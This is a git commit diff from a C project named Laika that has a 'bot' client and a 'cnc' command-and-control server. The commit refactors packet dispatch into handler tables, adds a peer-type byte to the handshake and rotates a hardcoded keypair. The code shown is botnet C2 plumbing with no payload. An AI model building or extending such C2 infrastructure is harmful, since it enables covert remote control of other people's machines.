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Minor lpeer refactoring

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- Packets are now dispatched based on a packet function handler map which is passed to laikaS_newPeer()
This commit is contained in:
CPunch 2022-01-30 19:10:10 -06:00
parent 1630f6277f
commit 282516797e
7 changed files with 67 additions and 62 deletions
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25
bot/src/bot.c
View File

@ -7,39 +7,33 @@ LAIKAPKT_SIZE laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t) + LAIKAENC_SIZE(LAIKA_NONCESIZE)
};
void laikaB_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) {
void handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
uint8_t nonce[LAIKA_NONCESIZE];
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
switch (id) {
case LAIKAPKT_HANDSHAKE_RES: {
uint8_t encNonce[LAIKAENC_SIZE(LAIKA_NONCESIZE)], nonce[LAIKA_NONCESIZE];
uint8_t endianness = laikaS_readByte(&peer->sock);
/* read & decrypt nonce */
laikaS_read(&peer->sock, encNonce, sizeof(encNonce));
if (crypto_box_seal_open(nonce, encNonce, LAIKAENC_SIZE(LAIKA_NONCESIZE), bot->pub, bot->priv) != 0)
LAIKA_ERROR("Failed to decrypt nonce!\n");
laikaS_readENC(&peer->sock, nonce, LAIKA_NONCESIZE, bot->pub, bot->priv);
/* check nonce */
if (memcmp(nonce, bot->nonce, LAIKA_NONCESIZE) != 0)
LAIKA_ERROR("Mismatched nonce!\n");
LAIKA_ERROR("mismatched nonce!\n");
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
LAIKA_DEBUG("handshake accepted by cnc!\n")
break;
}
default:
LAIKA_ERROR("unknown packet id [%d]\n", id);
}
}
PeerPktHandler laikaB_handlerTbl[LAIKAPKT_MAXNONE] = {
[LAIKAPKT_HANDSHAKE_RES] = handleHandshakeResponse
};
struct sLaika_bot *laikaB_newBot(void) {
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
size_t _unused;
laikaP_initPList(&bot->pList);
bot->peer = laikaS_newPeer(
laikaB_pktHandler,
laikaB_handlerTbl,
laikaB_pktSizeTbl,
&bot->pList,
(void*)bot
@ -88,6 +82,7 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
laikaS_writeByte(sock, PEER_BOT);
laikaS_writeENC(sock, bot->nonce, LAIKA_NONCESIZE, bot->peer->peerPub); /* write encrypted nonce test */
laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */

21
cnc/src/cnc.c
View File

@ -6,21 +6,19 @@
#include "cnc.h"
LAIKAPKT_SIZE laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
[LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + LAIKAENC_SIZE(LAIKA_NONCESIZE) + crypto_box_PUBLICKEYBYTES
[LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + sizeof(uint8_t) + LAIKAENC_SIZE(LAIKA_NONCESIZE) + crypto_box_PUBLICKEYBYTES
};
void laikaC_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) {
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
switch (id) {
case LAIKAPKT_HANDSHAKE_REQ: {
void handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
char magicBuf[LAIKA_MAGICLEN];
uint8_t nonce[LAIKA_NONCESIZE];
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
uint8_t major, minor;
laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN);
major = laikaS_readByte(&peer->sock);
minor = laikaS_readByte(&peer->sock);
peer->type = laikaS_readByte(&peer->sock);
if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0
|| major != LAIKA_VERSION_MAJOR
@ -39,11 +37,12 @@ void laikaC_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) {
laikaS_writeENC(&peer->sock, nonce, LAIKA_NONCESIZE, peer->peerPub); /* encrypt nonce with peer's public key */
LAIKA_DEBUG("accepted handshake from peer %x\n", peer);
break;
}
}
}
PeerPktHandler laikaC_handlerTbl[LAIKAPKT_MAXNONE] = {
[LAIKAPKT_HANDSHAKE_REQ] = handleHandshakeRequest
};
struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
size_t _unused;
@ -63,7 +62,7 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
LAIKA_ERROR("LibSodium failed to initialize!\n");
}
LAIKA_DEBUG(LAIKA_PUBKEY);
LAIKA_DEBUG("using pubkey: %s\n", LAIKA_PUBKEY);
if (sodium_hex2bin(cnc->pub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
laikaC_freeCNC(cnc);
LAIKA_ERROR("Failed to init cnc public key!\n");
@ -105,7 +104,7 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
for (i = 0; i < numEvents; i++) {
if (evnts[i].sock == &cnc->sock) { /* event on listener? */
peer = laikaS_newPeer(
laikaC_pktHandler,
laikaC_handlerTbl,
laikaC_pktSizeTbl,
&cnc->pList,
(void*)cnc

4
lib/include/lconfig.h
View File

@ -6,8 +6,8 @@
#define LAIKA_VERSION_MINOR 0
/* keys */
#define LAIKA_PUBKEY "997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814"
#define LAIKA_PRIVKEY "1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841"
#define LAIKA_PUBKEY "b507a9c8bc8f2c61ea019122311b64361d034ba2b6299a11628a2608ef7f4137"
#define LAIKA_PRIVKEY "4fefc9c4dba37f569432d091497b2c0e931ce78be945328e2ba57674969a3539"
#endif

3
lib/include/lpacket.h
View File

@ -14,6 +14,7 @@ enum {
* uint8_t laikaMagic[LAIKA_MAGICLEN];
* uint8_t majorVer;
* uint8_t minorVer;
* uint8_t peerType;
* uint8_t encNonce[LAIKAENC_SIZE(LAIKA_NONCESIZE)]; -- encrypted using shared pubKey
* uint8_t pubKey[crypto_box_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
*/
@ -27,6 +28,8 @@ enum {
* uint8_t pktID;
* uint16_t pktSize;
*/
LAIKAPKT_CHALLENGE_REQ,
LAIKAPKT_CHALLENGE_RES,
LAIKAPKT_MAXNONE
};

13
lib/include/lpeer.h
View File

@ -13,22 +13,25 @@ typedef enum {
PEER_AUTH /* authorized peers can send commands to cnc */
} PEERTYPE;
struct sLaika_peer;
typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
struct sLaika_peer {
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
uint8_t *priv; /* key to decrypt incoming packets */
uint8_t *pub; /* pub key matching to priv */
uint8_t peerPub[crypto_box_PUBLICKEYBYTES]; /* key to encrypt outgoing packets */
struct sLaika_pollList *pList; /* pollList we're active in */
void (*pktHandler)(struct sLaika_peer *peer, uint8_t id, void *uData);
void *uData; /* data to be passed to pktHandler */
PeerPktHandler *handlers;
LAIKAPKT_SIZE *pktSizeTable; /* const table to pull pkt size data from */
uint8_t *priv; /* key to decrypt incoming packets */
uint8_t *pub; /* pub key matching to priv */
void *uData; /* data to be passed to pktHandler */
LAIKAPKT_SIZE pktSize; /* current pkt size */
LAIKAPKT_ID pktID; /* current pkt ID */
PEERTYPE type;
bool setPollOut; /* is EPOLLOUT/POLLOUT is set on sock's pollfd ? */
};
struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData), LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData);
struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData);
void laikaS_freePeer(struct sLaika_peer *peer);
void laikaS_setKeys(struct sLaika_peer *peer, uint8_t *priv, uint8_t *pub);

11
lib/src/lpeer.c
View File

@ -2,11 +2,11 @@
#include "lmem.h"
#include "lpeer.h"
struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData), LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData) {
struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData) {
struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer));
laikaS_initSocket(&peer->sock);
peer->pktHandler = pktHandler;
peer->handlers = handlers;
peer->pktSizeTable = pktSizeTable;
peer->pList = pList;
peer->uData = uData;
@ -78,7 +78,12 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
/* have we received the full packet? */
if (peer->pktSize == peer->sock.inCount) {
peer->pktHandler(peer, peer->pktID, peer->uData); /* dispatch to packet handler */
PeerPktHandler hndlr = peer->handlers[peer->pktID];
if (hndlr != NULL) {
hndlr(peer, peer->pktID, peer->uData); /* dispatch to packet handler */
} else
LAIKA_ERROR("peer %x doesn't support packet id [%d]!\n", peer, peer->pktID);
/* reset */
peer->sock.inCount = 0;

4
lib/src/lsocket.c
View File

@ -191,7 +191,7 @@ void laikaS_writeENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *
/* encrypt the buffer into outBuf */
if (crypto_box_seal(&sock->outBuf[sock->outCount], buf, sz, pub) != 0)
LAIKA_ERROR("Failed to encrypt!");
LAIKA_ERROR("Failed to encrypt!\n");
sock->outCount += LAIKAENC_SIZE(sz);
}
@ -199,7 +199,7 @@ void laikaS_writeENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *
void laikaS_readENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv) {
/* decrypt into buf */
if (crypto_box_seal_open(buf, sock->inBuf, LAIKAENC_SIZE(sz), pub, priv) != 0)
LAIKA_ERROR("Failed to decrypt!");
LAIKA_ERROR("Failed to decrypt!\n");
laikaM_rmvarray(uint8_t, sock->inBuf, sock->inCount, 0, LAIKAENC_SIZE(sz));
}